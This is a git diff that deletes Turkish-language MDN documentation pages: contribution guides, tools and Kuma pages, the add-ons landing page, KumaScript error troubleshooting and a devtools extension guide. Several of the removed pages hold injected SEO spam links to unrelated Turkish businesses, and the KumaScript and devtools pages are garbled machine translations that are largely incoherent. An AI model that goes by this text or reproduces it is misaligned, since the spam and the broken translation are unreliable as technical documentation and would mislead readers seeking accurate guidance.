bilgileri kullanın:</p> - -<table class="standard-table"> - <tbody> - <tr> - <td><strong>Bugzilla field</strong></td> - <td><strong>Value</strong></td> - </tr> - <tr> - <td><code>product</code></td> - <td><a href="https://bugzilla.mozilla.org/enter_bug.cgi?product=Developer+Documentation">Developer Documentation</a></td> - </tr> - <tr> - <td><code>component</code></td> - <td>[uygun bir başlık seçin, veya hangisinin doğru olduğuna emin değilseniz "General" başlığını seçin]</td> - </tr> - <tr> - <td><code>URL</code></td> - <td>Sorunu bulduğunuz sayfanın adresi</td> - </tr> - <tr> - <td><code>Description</code></td> - <td>As much as you know or have time to describe about the problem and where to find correct information. This can include people ("talk to so-and-so") as well as Web links.</td> - </tr> - </tbody> -</table> - -<h2 id="MDN'de_yapabileceğiniz_diğer_Şeyler">MDN'de yapabileceğiniz diğer Şeyler</h2> - -<ul> - <li><a href="/en-US/docs/Project:Community">MDN topluluğuna Katıl</a>.</li> - <li>Diğer insanlar senin hakkında daha fazla bilgi edinsin diye <a href="/en-US/profile">Profilini Doldur</a>.</li> - <li><a href="/en-US/docs/MDN/Contribute">MDN'ye katkı sağlamak</a> hakkında daha fazla şey öğren.</li> -</ul> diff --git a/files/tr/mdn/contribute/howto/create_and_edit_pages/index.html b/files/tr/mdn/contribute/howto/create_and_edit_pages/index.html deleted file mode 100644 index ee54c74064..0000000000 --- a/files/tr/mdn/contribute/howto/create_and_edit_pages/index.html +++ /dev/null @@ -1,12 +0,0 @@ ---- -title: Sayfalar nasıl oluşturulur ve düzenlenir -slug: MDN/Contribute/Howto/Create_and_edit_pages -tags: - - Başlangıç - - Giriş - - Klavuz - - Nasıl -translation_of: MDN/Contribute/Howto/Create_and_edit_pages -original_slug: MDN/Contribute/Howto/Sayfalar_nasil_olusturulur_duzenlenir ---- -<pre class="entry-title notranslate" id="Elexbet"><a href="https://bilgisayartamircisi.com/">bilgisayar tamircisi</a></pre> diff --git a/files/tr/mdn/contribute/howto/index.html b/files/tr/mdn/contribute/howto/index.html deleted file mode 100644 index 81a6f8d02f..0000000000 --- a/files/tr/mdn/contribute/howto/index.html +++ /dev/null @@ -1,15 +0,0 @@ ---- -title: How-to guides -slug: MDN/Contribute/Howto -tags: - - Landing - - MDN Meta - - NeedsTranslation - - TopicStub -translation_of: MDN/Contribute/Howto ---- -<div>{{MDNSidebar}}</div><div>{{IncludeSubnav("/en-US/docs/MDN")}}</div> - -<p>Bu makaleler, MDN'ye katkıda bulunma hedeflerini gerçekleştirmek için adım adım kılavuzlar kullanılarak sağlanır.</p> - -<p>{{LandingPageListSubpages}}</p> diff --git a/files/tr/mdn/contribute/index.html b/files/tr/mdn/contribute/index.html deleted file mode 100644 index ca83df13aa..0000000000 --- a/files/tr/mdn/contribute/index.html +++ /dev/null @@ -1,71 +0,0 @@ ---- -title: MDN'ye Katkıda Bulunmak -slug: MDN/Contribute -tags: - - Başlangıç - - Belgelendirme - - Kılavuz - - MDN -translation_of: MDN/Contribute ---- -<div>{{MDNSidebar}}</div> - -<p>Merhabalar! Bu sayfayı ziyaret ederek, MDN'ye katkıda bulunmanın ilk adımını attınız. <span class="seoSummary">Buradaki kılavuzlar MDN'ye katkıda bulunmanın her kısmını anlatıyor: tasarım kurallarını, yazı düzenleyicisini, araçları kullanmayı ve daha fazlasını.</span></p> - -<div class="row topicpage-table"> -<div class="section"> -<h2 id="Katkıda_bulunanlar_için_kılavuzlar">Katkıda bulunanlar için kılavuzlar</h2> - -<dl> - <dt><a href="/tr/docs/MDN/Getting_started">Başlarken</a></dt> - <dd>İlk katkınızı yaparken size yardım edecek hızlı ve kısa bir başlangıç kılavuzu.</dd> - <dt><a href="/tr/docs/MDN/Contribute/Style_guide">İçerik ve Tasarım Kılavuzu</a></dt> - <dd>MDN içerik ve tasarım kılavuzu size yazım stili, sayfa yapısı ve içerik düzeni hakkında detaylı bilgi verir. Bunun sebebi yazdığınız içeriğin MDN'nin diğer içeriklerine uygun olmasını sağlamaktır.</dd> - <dt><a href="/tr/docs/MDN/Contribute/Editor">Düzenleyici Kılavuzu</a></dt> - <dd>MDN'nin düzenleyicisini tanımak için kapsamlı bir kılavuz.</dd> - <dt><a href="/tr/docs/MDN/Contribute/Reviewing_articles">Makaleleri Değerlendirme</a></dt> - <dd>MDN'deki bütün dökümanların olabildiğince kullanışlı ve okunaklı olabilmesi için teknik ve yazımsal değerlendirme kılavuzu.</dd> - <dt><a href="/tr/docs/MDN/Contribute/Conventions">Terminolojimiz ve Geleneklerimiz</a></dt> - <dd>Terminoloji ve gelenekler kılavumuz sizlere terimleri nasıl açıklayacağınız hakkında bilgi verir.</dd> - <dt><a href="/tr/docs/MDN/Contribute/Community">MDN Topluluğu ile Çalışmak</a></dt> - <dd>MDN'ye katkıda bulunurken aklınıza takılacak soruların cevapları için size topluluk ile iletişim kurmayı ve onlardan nasıl yardım alabileceğinizi öğreten bir kılavuz.</dd> - <dt><a href="/tr/docs/MDN/Contribute/FAQ">Sık Sorulan Sorular</a></dt> - <dd>MDN'ye katkıda bulunurken en çok sorulan soruların cevapları ve ipuçları.</dd> -</dl> - -<dl> - <dt><a href="/en-US/docs/MDN/Kuma/Contributing">Kuma'ya Katkıda Bulunmak</a></dt> - <dd>Kuma projesine katkıda bulunma kılavuzu. Kuma, MDN Web Sitesini temelini oluşturan projedir.</dd> -</dl> -</div> - -<div class="section"> -<h2 id="Nasıl_yapılır">Nasıl yapılır?</h2> - -<p>Nasıl-Yapılırlar kılavuzlarımız MDN'ye katkıda bulunurken belli şeyleri nasıl yapacağınızı adım adım anlatan talimatlardır.</p> - -<dl> - <dt><a href="/tr/docs/MDN/Contribute/Howto/Document_a_CSS_property">CSS özellik dokümantasyonu nasıl oluşturulur?</a></dt> - <dd>CSS özelliklerinin dökümantasyonunu hazırlama kılavuzu. Bütün CSS özellik dökümanları stil ve düzen olarak bu makalede açıklandığı gibi olmalıdır.</dd> - <dt>HTML element dökümantasyonu nasıl oluşturulur?</dt> - <dd>Bu kılavuz HTML elementlerini dökümante ederken diğer makalelere uymanız için gereken bilgileri içerir.</dd> - <dt><a href="/tr/docs/MDN/Contribute/Howto/Tag">Doğru bir şekilde etiketleme nasıl yapılır?</a></dt> - <dd>Bu kılavuz size MDN'deki bazı etiketlerin standart anlamlarını ve etiketleme yaparken uymanız gereken kuralları öğretir.</dd> - <dt><a href="/en-US/docs/MDN/Contribute/Howto/Interpret_specifications">Web Şartnamesi nasıl okunur?</a></dt> - <dd>Bu kılavuz size standart Web Şartnamesini düzgünce okumayı ve yorumlamayı öğretir. O makaleleri okumak bazen can alıcı olabiliyor, onları okumayı ve yorumlamayı öğrenebilirseniz bu sizlerin daha iyi bir dökümantasyon hazırlamasına neden olabilir.</dd> -</dl> - -<h2 id="Yerelleştirme">Yerelleştirme</h2> - -<dl> - <dt><a href="/tr/docs/MDN/Contribute/Localize/Tour">Yerelleştirme Kılavuzu Turu</a></dt> - <dd>Bu kılavuz size MDN'deki dökümanları nasıl çevireceğiniz hakkında kısa bilgiler sunar.</dd> - <dt><a href="/en-US/docs/MDN/Contribute/Localize/Guide">Yerelleştirme Kılavuzu</a></dt> - <dd>Bu kılavuz size nasıl çeviri yapmanız gerektiği hakkında detaylı bilgiler sunar.</dd> - <dt><a href="/en-US/docs/MDN/Contribute/Localize/Localization_projects">Yerelleştirme Projeleri</a></dt> - <dd>Kendi dilinizdeki yerelleştirme projesini bulun - eğer yoksa da nasıl yeni bir tane başlatabileceğinizi öğrenin!</dd> -</dl> -</div> -</div> - -<p> </p> diff --git a/files/tr/mdn/index.html b/files/tr/mdn/index.html deleted file mode 100644 index 386beab511..0000000000 --- a/files/tr/mdn/index.html +++ /dev/null @@ -1,31 +0,0 @@ ---- -title: The MDN project -slug: MDN -tags: - - Documentation - - MDN -translation_of: MDN ---- -<div>{{MDNSidebar}}</div> - -<p>Mozilla Developer Network (MDN), bizlerin açık Web, Mozilla Teknolojileri, Firefox OS ve diğer web teknolojileri hakkında dökümantasyon yaptığımız bir <em>wiki</em>dir. İçerik eklemek veya düzenlemek isteyen herkese açıktır. Bir programcı olmanıza veya teknoloji hakında çok şey bilmenize gerek yoktur; tamamlanacak birçok basitten karmaşığa (gözden geçirmekten ve yazım düzeltmekten, API dökümantasyonu yazmaya kadar) farklı görevler vardır.</p> - -<div class="summary"> -<p>MDN Web Dokümantasyonunun amacı; <em>geliştiricilere</em> <em>kolay</em> bir şekilde <em>web tabanlı</em> projeler yapabilmeleri için ihtiyaç duydukları bilgileri sağlamaktır.<br> - Seni de yardım etmeye davet ediyoruz!</p> -</div> - -<p>Yardımınıza ihtiyacımız var! Bu kolay. İzin almak ya da hata yapmak hakkında endişelenmeyin. Ayrıca, lütfen <a href="/tr/docs/MDN/Community">MDN Topluluğu</a>'nu tanıyın; size yardım etmek için buradayız!</p> - -<ul class="card-grid"> - <li><span><a href="/tr/docs/MDN/Getting_started">Yeniler için hızlı başlangıç</a></span> - - <p>MDN'de yenisin ve buranın daha iyi hale getirilmesi için nasıl yardım edeceğini mi öğrenmek istiyorsun? Buradan başla!</p> - </li> - <li><span><a href="/tr/docs/MDN/Contribute">Gelişmiş bir kullanıcıyım</a></span> - <p>Rahat hissettiken sonra, MDN gönüllüleri için hazırlanmış bütün ve derinlemesine rehberimize erişin.</p> - </li> - <li><span><a class="new" href="/tr/docs/MDN/Promote" rel="nofollow">Dünyaya Yay</a></span> - <p>Eğer MDN'yi seversen, dünyaya yayılmasına yardım et! MDN'yi tanıtmak için sanatsal içerikler, araçlar ve rehberler bulun.</p> - </li> -</ul> diff --git a/files/tr/mdn/tools/index.html b/files/tr/mdn/tools/index.html deleted file mode 100644 index 912a00f053..0000000000 --- a/files/tr/mdn/tools/index.html +++ /dev/null @@ -1,16 +0,0 @@ ---- -title: MDN tools -slug: MDN/Tools -tags: - - Landing - - MDN Meta - - NeedsTranslation - - Tools - - TopicStub -translation_of: MDN/Tools ---- -<div>{{MDNSidebar}}{{IncludeSubnav("/en-US/docs/MDN")}}</div> - -<p>MDN offers a number of features that make it easier to track progress, manage content, and keep up with the latest changes to the site.</p> - -<p>{{LandingPageListSubpages}}</p> diff --git a/files/tr/mdn/tools/kumascript/troubleshooting/index.html b/files/tr/mdn/tools/kumascript/troubleshooting/index.html deleted file mode 100644 index 87b7e85fe3..0000000000 --- a/files/tr/mdn/tools/kumascript/troubleshooting/index.html +++ /dev/null @@ -1,76 +0,0 @@ ---- -title: Troubleshooting KumaScript errors -slug: MDN/Tools/KumaScript/Troubleshooting -tags: - - HRCTelekom - - KumaScript - - Kılavuz - - MDN Meta - - sabır -translation_of: MDN/Tools/KumaScript/Troubleshooting -original_slug: MDN/Kuma/Troubleshooting_KumaScript_errors ---- -<div><font><font><font><font>{{MDNSidebar}}</font></font></font></font> </div> - -<div class="summary"> -<p><a href="/en-US/docs/MDN/Kuma/Introduction_to_KumaScript"><font><font>KumaScript</font></font></a><font><font> bir sayfada görünen hatalar onların büyük korkutucu kırmızı kutularda, okuyuculara-koyarak, ama neyse bir MDN hesabı olan herkese böyle bir hatayı düzeltmek için bir belgeyi düzenleyebilir çok olabilir. </font><font>Bir sayfa bir hata varsa bunun listesine eklenir </font></font><a href="/docs/with-errors"><font><font>hatalarla belgeler</font></font></a><font><font> . </font><font>Sitesi editörler düzenli bulup düzeltme hataları için bu listeyi gözden geçirin. </font><font>Bu makale KumaScript hatası dört tip ayrıntıları ve bazı bunları düzeltmek için uygulayabileceğiniz adımları tekrarlayın.</font></font></p> -</div> - -<h2 id="DocumentParsingError"><font><font><font><font>DocumentParsingError</font></font></font></font></h2> - -<p><code>DocumentParsingError</code><font><font>KumaScript belgenin kendisinde sorun anlayış şey olduğunda hataları görünür. </font><font>En sık karşılaşılan neden bir yazım hatasıdır </font></font><a href="/en-US/docs/MDN/Contribute/Content/Macros"><font><font>makro</font></font></a><font><font> .</font></font></p> - -<p><font><font>Kontrol:</font></font></p> - -<dl> - <dt><font><font>Bir makro çağırmak amacı gütmeden küme parantezleri kullanın.</font></font></dt> - <dd><font><font>bir makro uğramadan bir belgede yazma \ {gerekiyorsa böyle bir \ ile kaçabilir: </font></font><code>\\{</code></dd> - <dt><font><font>Makro parametrede özel karakterin kullanın.</font></font></dt> - <dd><font><font>Eğer onlar böyle bir \ ile kaçan edilebilir bir makro parametrenin bir "a \ içini ya kullanmanız gerekirse: </font></font><code>\\</code><font><font>ya</font></font><code>\"</code></dd> - <dt><font><font>Makro parametreler arasındaki virgül eksik.</font></font></dt> - <dd><font><font>Makro parametreler ancak parametrelerin listesinin sonunda bir virgül (,) ile sınırlanmış olması gerekir; </font><font>örneğin </font></font><code>\{\{anch("top", "Back to top")}}</code><font><font>.</font></font></dd> - <dt><font><font>Bir makro çağrısı içinde görünen HTML etiketleri</font></font></dt> - <dd><font><font>Eğer bir makroya stil uygularsanız, örneğin bir, çünkü çoğu zaman kıracak </font></font><code></code></code><font><font>etiketinin kaynak kodda makro kodu içinde görünmüş olabilir. </font><font>Orada ne olduğunu görmek ve gereksiz stil kaldırmak için kaynak görünümünü kontrol edin.</font></font></dd> -</dl> - -<ul> -</ul> - -<h2 id="TemplateLoadingError"><font><font><font><font>TemplateLoadingError</font></font></font></font></h2> - -<p><code>TemplateLoadingError</code><font><font>KumaScript bulmakta zorluk sahip olduğunda hataları görünür </font></font><a href="/en-US/docs/MDN/Contribute/Content/Macros"><font><font>makro</font></font></a><font><font> bir sayfada dahil etmek.</font></font></p> - -<p><font><font>Kontrol:</font></font></p> - -<dl> - <dt><font><font>Makro adları veya yeniden adlandırılmış makroları yanlış yazılmış.</font></font></dt> - <dd><font><font>Sen doğru adlandırılmış olup olmadığını görmek için makro için şablon sayfasını ziyaret deneyebilirsiniz. </font><font>Şablon sayfanın URL adresinin sonuna şablon adını ekleyerek yapılabilir </font></font><code>https://developer.mozilla.org/en-US/docs/Template: — </code><font><font>örneğin şablon sayfası </font></font><code>\{\{anch("top", "Back to top")}}</code><font><font> olan </font></font><a href="https://developer.mozilla.org/en-US/docs/Template:anch"><font><font>https://developer.mozilla.org/en-US/docs/Template:anch</font></font></a><font><font> . </font></font><br> - <br> - <font><font>Kısmi bir listesi vardır </font></font><a href="https://developer.mozilla.org/en-US/docs/MDN/Contribute/Content/Custom_macros"><font><font>MDN'yi için makrolar</font></font></a><font><font> bakıyorsun mevcut makro veya onun doğru / yeni yazım içerebilir.</font></font></dd> -</dl> - -<div class="note"> -<p><strong><font><font>İpucu:</font></font></strong><font><font> Sen hızlı ve kolay yapabiliriz bir ekleyerek belirli bir makro atlamak için </font></font><a href="http://kb.mozillazine.org/Using_keyword_searches"><font><font>arama anahtar kelimesini</font></font></a><font><font> Firefox'a. </font><font><<< DAHA ÇOK YAKINDA >></font></font></p> -</div> - -<h2 id="TemplateExecutionError"><font><font><font><font>TemplateExecutionError</font></font></font></font></h2> - -<p><code>TemplateExecutionError</code><font><font>KumaScript makro bir hatayla karşılaştığında hataları görünür. </font><font>Bu hatalar sadece yönetici kullanıcılar tarafından sabit ve böcek olarak rapor alınması gerektiği ortaya edilebilir.</font></font></p> - -<p><font><font>Zaten sabit edilmemiş olduğunu görmek için bir hata kontrolü bildirmeden önce. </font><font>Sen basılı tutarak size sayfanın yeni bir kopyasını vermek KumaScript zorlayarak yapabilirsiniz </font></font><kbd>shift</kbd><font><font>Eğer (sayfayı yenileyin iken </font></font><em><font><font>Shift + Ctrl + R</font></font></em><font><font> Windows / Linux üzerinde </font></font><em><font><font>Shift + Cmd + R</font></font></em><font><font> Mac'te).</font></font></p> - -<p><font><font>Hata devam ederse, </font></font><a href="https://bugzilla.mozilla.org/enter_bug.cgi?product=Mozilla_Developer_Network&component=General#h=detail|bug"><font><font>Hata bildir</font></font></a><font><font> . </font><font>Sayfanın URL'sini ve hata metnini ekleyin.</font></font></p> - -<h2 id="Hata_Bilinmeyen"><font><font>Hata & Bilinmeyen</font></font></h2> - -<p><font><font>Bu kategori hataları onlar hata diğer tür biri değilse sonuna kadar olduğunu.</font></font></p> - -<p><font><font>Genellikle (ama her zaman değil) bu hatalar MDN'yi tüm etkileyen bir sorun ile ilgilidir ve bir iki dakika bekledikten sonra basılı tutarak uzak silinebilir </font></font><kbd>shift</kbd><font><font>sayfayı yenileyin ederken ( </font></font><em><font><font>Shift + Ctrl + R</font></font></em><font><font> Windows / Linux üzerinde, </font></font><em><font><font>Shift + Cmd + R</font></font></em><font><font> Mac),. </font><font>Bu hata devam ederse lütfen </font></font><a href="https://bugzilla.mozilla.org/enter_bug.cgi?product=Mozilla_Developer_Network&component=General#h=detail|bug"><font><font>bir hatayı bildirmek</font></font></a><font><font> . </font><font>Sayfanın URL'sini ve hata metnini ekleyin.</font></font></p> - -<p><a href="https://www.hrctelekom.com">HRC Telekom</a></p> - -<p><a href="http://www.hurnet.com.tr"><font><font>ağaçlı tepe</font></font></a></p> - -<p><a href="http://www.hurcloud.com"><font><font><font><font>HurCloud</font></font></font></font></a></p> - -<p><a href="https://www.sebir.net">Sebir Teknoloji</a></p> diff --git a/files/tr/mdn/yari/index.html b/files/tr/mdn/yari/index.html deleted file mode 100644 index e6bf90982e..0000000000 --- a/files/tr/mdn/yari/index.html +++ /dev/null @@ -1,27 +0,0 @@ ---- -title: 'Kuma: MDN''s wiki platform' -slug: MDN/Yari -tags: - - Kuma - - Landing - - MDN - - NeedsTranslation - - TopicStub -translation_of: MDN/Kuma -original_slug: MDN/Kuma ---- -<div>{{MDNSidebar}}{{IncludeSubnav("/en-US/docs/MDN")}}</div> - -<p class="summary">Kuma is the Django code that powers MDN Web Docs.</p> - -<p>{{SubpagesWithSummaries}}</p> - -<h2 id="Get_involved_with_Kuma">Get involved with Kuma</h2> - -<p>To get involved with Kuma:</p> - -<ul> - <li>Visit the <a href="https://github.com/mozilla/kuma">Kuma project on Github</a>.</li> - <li>Check out the <a href="https://github.com/mozilla/kuma/blob/master/CONTRIBUTING.md">Contribution Guide.</a></li> - <li>As needed, take a deep dive into the <a href="http://kuma.readthedocs.org/en/latest/">full Kuma documentation</a>.</li> -</ul> diff --git a/files/tr/mozilla/add-ons/index.html b/files/tr/mozilla/add-ons/index.html deleted file mode 100644 index f754e3a366..0000000000 --- a/files/tr/mozilla/add-ons/index.html +++ /dev/null @@ -1,108 +0,0 @@ ---- -title: Eklentiler -slug: Mozilla/Add-ons -tags: - - Eklentiler - - Landing - - Mozilla - - uzantılar -translation_of: Mozilla/Add-ons -original_slug: Mozilla/Eklentiler ---- -<div class="summary">Mozilla uygulamalarını değiştirin ve genişletin.</div> - -<p><span class="seoSummary">Eklentiler<a href="/en-US/docs/Mozilla/Gecko">, Gecko</a>-tabanlı uygulamalara (Firefox,SeaMonkey ve Thunderbird gibi) yeni fonksiyonellikler eklerler. İki çeşit ana eklenti tipi vardır:</span> <a href="#Extensions">Uzantılar</a>, uygulamaya yeni özellikler eklerler, ve <a href="#Themes">Temalar</a> ise kullanıcı arayüzünü modifiye ederler.</p> - -<p>Her iki eklenti tipi için Mozilla, AMO diye bilinen, <a href="https://addons.mozilla.org/">addons.mozilla.org</a>'da bir dizinde çalışır. <a href="/en-US/Add-ons/Submitting_an_add-on_to_AMO">AMO'ya gönderdiğiniz eklentiler</a>, gözden geçirilir ve incelemeyi geçtikten sonra kullanıcılara uygun hale gelir. Eklentiler AMO'ya gönderilmek zorunda değildir, ama gönderilirse, kullanıcılar gözden geçirilmiş eklentilere güvenebilirler ve kullanışlı eklentiler için bir kaynak olan AMO görünürlüğünden faydalanabilirsiniz.</p> - -<p>Eklentiler, onları barındıran uygulamanın davranışını büyük ölçüden etkileyebilirler. Bu sebeple eklentilerin, kullanıcılara iyi bir deneyim sağlamasına yardım etmek için <a href="/en-US/docs/Mozilla/Add-ons/Add-on_guidelines">kuralları</a> geliştirdik.Bu kurallar, eklenti <a href="https://addons.mozilla.org/">addons.mozilla.org</a>'da barındırılsın ya da barındırlmasın, bütün eklentiler için geçerlidir.</p> - -<hr> -<h2 id="Uzantılar_2"><a id="Uzantılar" name="Uzantılar">Uzantılar</a></h2> - -<p>Uzantılar, Firefox ve Thunderbird gibi Mozilla uygulamarına yeni fonksiyonellikler eklerler. Sekmeleri yönetmek için farklı bir yol gibi yeni özellikler ekleyebilir veya belirli web sitelerinin kullanılabilirliğini ve güvenliğini atırmak için web içeriğini değiştirebilirler.</p> - -<p>Uzantıları yaratabileceğiniz üç farklı teknik vardır: Add-on SDK-tabanlı uzantılar, manüel olarak önyüklenmiş yeniden başlatma gerektirmeyen uzantılar, legacy uzantılar.</p> - -<ul class="card-grid"> - <li><span><a href="https://developer.mozilla.org/en-US/Add-ons/SDK">Add-on SDK uzantıları</a></span><br> - Yüksek seviyede bir dizi JavaScript API'leri kullanılarak inşa edilirler. Yüklenmeleri için tarayıcının yeniden başlatılmasına gerek yoktur.</li> - <li><span><a href="/en-US/Add-ons/Bootstrapped_extensions">Yeniden başlatma gerektirmeyen uzantılar</a></span><br> - Yüklenmeleri için tarayıcının yeniden başlatılmasına gerek olmayan uzantılardır.</li> - <li><a href="/en-US/Add-ons/Overlay_Extensions"><span>Legacy extensions</span></a><br> - Legacy uzantılar yüklenirken tarayıcının yeniden başlatılmasına ihtiyaç duyarlar, genelde <a href="/en-US/docs/Mozilla/Tech/XUL/Overlays">XUL overlays</a> kullanılır.</li> -</ul> - -<div class="note"> -<p><strong>WebExtensions</strong></p> - -<p>Biz, WebExtensions olarak adlandırılan ve Firefox için ve aynı zaman Google ve Opera tarafından kullanılanılan sistemlerle büyük ölçüde uyumlu olacak, eklenti geliştirmenin yeni bir yolu olan bir sistem üzerinde çalışıyoruz.</p> - -<p>Gelecekte, Firefox için tercih edilen bir uygulama geliştirme yolu olacaktır.</p> - -<p>Şu anda bu uygulama deneyseldir, ama yine de bir göz atmak isterseniz <a href="https://developer.mozilla.org/en-US/Add-ons/WebExtensions">see the docs here</a> bağlantısından dökümanlara ulaşabilirsiniz.</p> -</div> - -<p>Eğer yapabiliyorsanız, yeniden başlatma gerektirmeyen mekanızmayı kullanan Add-on SDK-tabanlı tekniği kullanmak uygundur, eğer bu teknik sizin ihtiyacınız için yeterli değilse, manuel olanı, JavaScript API'leri kullanmayan ikinci yöntemi uygulayın.</p> - -<p>Teknik seçiminde daha fazla bilgi için, okuyun <a href="/en-US/Add-ons/Comparing_Extension_Toolchains">comparison</a>.</p> - -<h3 id="Hata_ayıklama">Hata ayıklama</h3> - -<p>Eklenti geliştirmede, hangi satırlarda hatalar yapıldığını görmek hata ayıklama olmadan mümkün değildir. Masaüstü için <a href="/en-US/Add-ons/Overlay_Extensions/XUL_School/Setting_Up_a_Development_Environment">Setting Up a Development Environment</a>, mobil için(Android/iOS) <a href="/en-US/docs/Tools/Remote_Debugging/Debugging_Firefox_for_Android_with_WebIDE">Debugging Firefox for Android with WebIDE</a> 'ya göz atın. Mobil cihazlarda meydana gelen hataları yakalamak için masaüstü tarayıcı araçlarından WebIDE kullanılır.</p> - -<div class="column-container"> -<div class="column-half"> -<h3 id="Önerilen_Pratikler">Önerilen Pratikler</h3> - -<p>Uzantınızı hangi teknikle geliştirdiğinizin önemi olmamasına rağmen, mümkün olduğunca iyi bir kullanıcı deneyimi sağlaması için birkaç yönerge vardır.</p> - -<dl> - <dt><a href="/en-US/Add-ons/Performance_best_practices_in_extensions">Performans</a></dt> - <dd>Uzantınızın hızlı, duyarlı ve bellek-tasarruflu olmasını sağlamak için.</dd> - <dt><a href="/en-US/Add-ons/Security_best_practices_in_extensions">Güvenlik</a></dt> - <dd>Zararlı web sitelerinin uzantınızı etkisi altına almamasını sağlamak için.</dd> - <dt><a href="/en-US/Add-ons/Extension_etiquette">Etiquette</a></dt> - <dd>uzantınızın diğer uzantılar ile uyum içerisinde çalışması için.</dd> -</dl> -</div> - -<div class="column-half"> -<h3 id="Uygulama_Özel">Uygulama Özel</h3> - -<p>Çoğu dokümantasyon, masaüstü Firefox için geliştirme yapıyor olduğunuz varsayar. Eğer diğer bir Gecko tabanlı uygulama için geliştirme yapıyorsanız, bilmeniz gereken başlıca farklılıklar vardır.</p> - -<dl> - <dt><a href="/en-US/Add-ons/Thunderbird">Thunderbird</a></dt> - <dd>Thunderbird mail istemcisi için uzantılar geliştirmek için.</dd> - <dt><a href="/en-US/Add-ons/Firefox_for_Android">Firefox Android</a></dt> - <dd>Firefox Android için uzantılar geliştirmek için.</dd> - <dt><a href="/en-US/Add-ons/SeaMonkey_2">SeaMonkey</a></dt> - <dd><a href="http://www.seamonkey-project.org/">SeaMonkey</a> yazılım takımı için uzantılar geliştirmek için.</dd> -</dl> -</div> -</div> - -<hr> -<h2 id="Temalar"><a name="Themes">Temalar</a></h2> - -<p>Temalar, kullanıcı arayüzünü ihtiyaca göre düzenleyebileceğiniz eklentilerdir. İki çeşit tema vardır: <a href="/Add-ons/Themes/Background">Lightweight </a>temalar ve<a href="/en-US/docs/Themes"> complete </a>temalar.</p> - -<div class="column-container"> -<div class="column-half"> -<p><a href="/Add-ons/Themes/Background">Lightweight temalar</a>, diğerine göre uygulanması daha basittir, fakat sağladığı düzenleme alanı çok limitlidir.</p> -</div> - -<div class="column-half"> -<p><a href="/en-US/docs/Themes">Complete temalar</a> ile kullanıcı arayüzünde daha derin modifikasyonlar yapabilirsiniz. Complete temaların dökümantasyonu güncel değildir, ancak olası güncelleştirmeler aynı linke bağlıdır.</p> -</div> -</div> - -<hr> -<h2 id="Diğer_çeşit_eklentiler">Diğer çeşit eklentiler</h2> - -<p><a href="/en-US/docs/Creating_OpenSearch_plugins_for_Firefox">Search engine plugins</a> basit ve özel bir çeşit eklenti tipidir: arama alanına yeni bir arama motoru eklerler.</p> - -<p><strong><a href="/en-US/docs/Plugins">Plugins</a> </strong>help the application understand web content that it does not natively support. NPAPI plugins are a legacy technology and new sites should not use them. In general, plugins are not available on most modern mobile systems including, and websites should transition away from using plugins.</p> - -<div>{{AddonSidebar}}</div> diff --git a/files/tr/mozilla/add-ons/webextensions/extending_the_developer_tools/index.html b/files/tr/mozilla/add-ons/webextensions/extending_the_developer_tools/index.html deleted file mode 100644 index 3f4af92620..0000000000 --- a/files/tr/mozilla/add-ons/webextensions/extending_the_developer_tools/index.html +++ /dev/null @@ -1,168 +0,0 @@ ---- -title: Extending the developer tools -slug: Mozilla/Add-ons/WebExtensions/Extending_the_developer_tools -tags: - - DevTools - - Eklenti - - Kılavuz - - Türkçe Web App DevOp - - Uzantıları - - WebExtensions - - İhtiyaçları Ayrıcalıkları -translation_of: Mozilla/Add-ons/WebExtensions/Extending_the_developer_tools -original_slug: Mozilla/Eklentiler/WebExtensions/Extending_the_developer_tools ---- -<div><font><font>{{AddonSidebar}}</font></font></div> - -<div class="note"> -<p><font><font>API'leri dayanmasına rağmen onlar Firefox 55. bulunmayan bu sayfa devtools API'leri açıklamaktadır </font></font><a href="https://developer.chrome.com/extensions/devtools"><font><font>Krom devtools API'ler</font></font></a><font><font> , henüz Firefox'ta uygulanmadı ve bu nedenle burada belgelere alınmamıştır hala pek çok özellik vardır. </font><font>Özellikleri şu anda bakın eksik olduğunu görmek için </font></font><a href="/en-US/Add-ons/WebExtensions/Using_the_devtools_APIs#Limitations_of_the_devtools_APIs"><font><font>devtools API'larından Sınırlamaları</font></font></a><font><font> .</font></font></p> -</div> - -<p><span class="seoSummary"><font><font>Sen tarayıcının yerleşik geliştirici araçlarını genişletmek için WebExtensions API'leri kullanabilirsiniz. </font></font></span><font><font>Bir devtools uzantısı oluşturmak için, "include </font></font><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/manifest.json/devtools_page"><font><font>devtools_page</font></font></a><font><font> içinde" tuşuna </font></font><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/manifest.json"><font><font>manifest.json</font></font></a><font><font> :</font></font></p> - -<pre class="brush: json"><font><font>"Devtools_page": "devtools / devtools-sayfa.html"</font></font></pre> - -<p><font><font>Bu anahtarın değeri sizin uzantısı ile birlikte olmuş bir HTML dosyasına işaret eden bir URL'dir. </font><font>URL Manifest.json dosyasının kendisini göreli olmalıdır.</font></font></p> - -<p><font><font>HTML dosyası devtools sayfası olarak adlandırılır, uzantısında özel bir sayfa tanımlar.</font></font></p> - -<h2 id="devtools_sayfa"><font><font>devtools sayfa</font></font></h2> - -<p><font><font>devtools sayfa tarayıcı devtools açıldığında yüklenen ve kapatıldığında kaldırılır. </font><font>dolayısıyla birden fazla devtools sayfa - - devtools pencere tek bir sekme ile ilişkili olduğu için, birden fazla devtools pencere için oldukça mümkün olduğunu Not aynı anda var olması.</font></font></p> - -<p><font><font>Devtools sayfa görünür bir DOM yok, ama kullanan JavaScript kaynaklarını içerebilir </font></font><code><a href="/en-US/docs/Web/HTML/Element/script"><script></a></code><font><font>etiketleri. </font><font>Kaynaklar uzantısı kendisi ile birlikte alınmalıdır. </font><font>Kaynaklar erişebilirsiniz:</font></font></p> - -<ul> - <li><font><font>Normal DOM küresel üzerinden erişilebilir Apı </font></font><code><a href="/en-US/docs/Web/API/Window">window</a></code><font><font>nesne</font></font></li> - <li><font><font>Aynı </font></font><a href="/en-US/Add-ons/WebExtensions/Content_scripts#WebExtension_APIs"><font><font>İçerik Scriptlerde olarak WebExtension API'ler</font></font></a></li> - <li><font><font>devtools API'ler:</font></font> - <ul> - <li><code><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/API/devtools.inspectedWindow">devtools.inspectedWindow</a></code></li> - <li><code><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/API/devtools.network">devtools.network</a></code></li> - <li><code><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/API/devtools.panels">devtools.panels</a></code></li> - </ul> - </li> -</ul> - -<p><font><font>Not devtools sayfasının başka WebExtension API'leri erişmek etmediğini ve arka plan 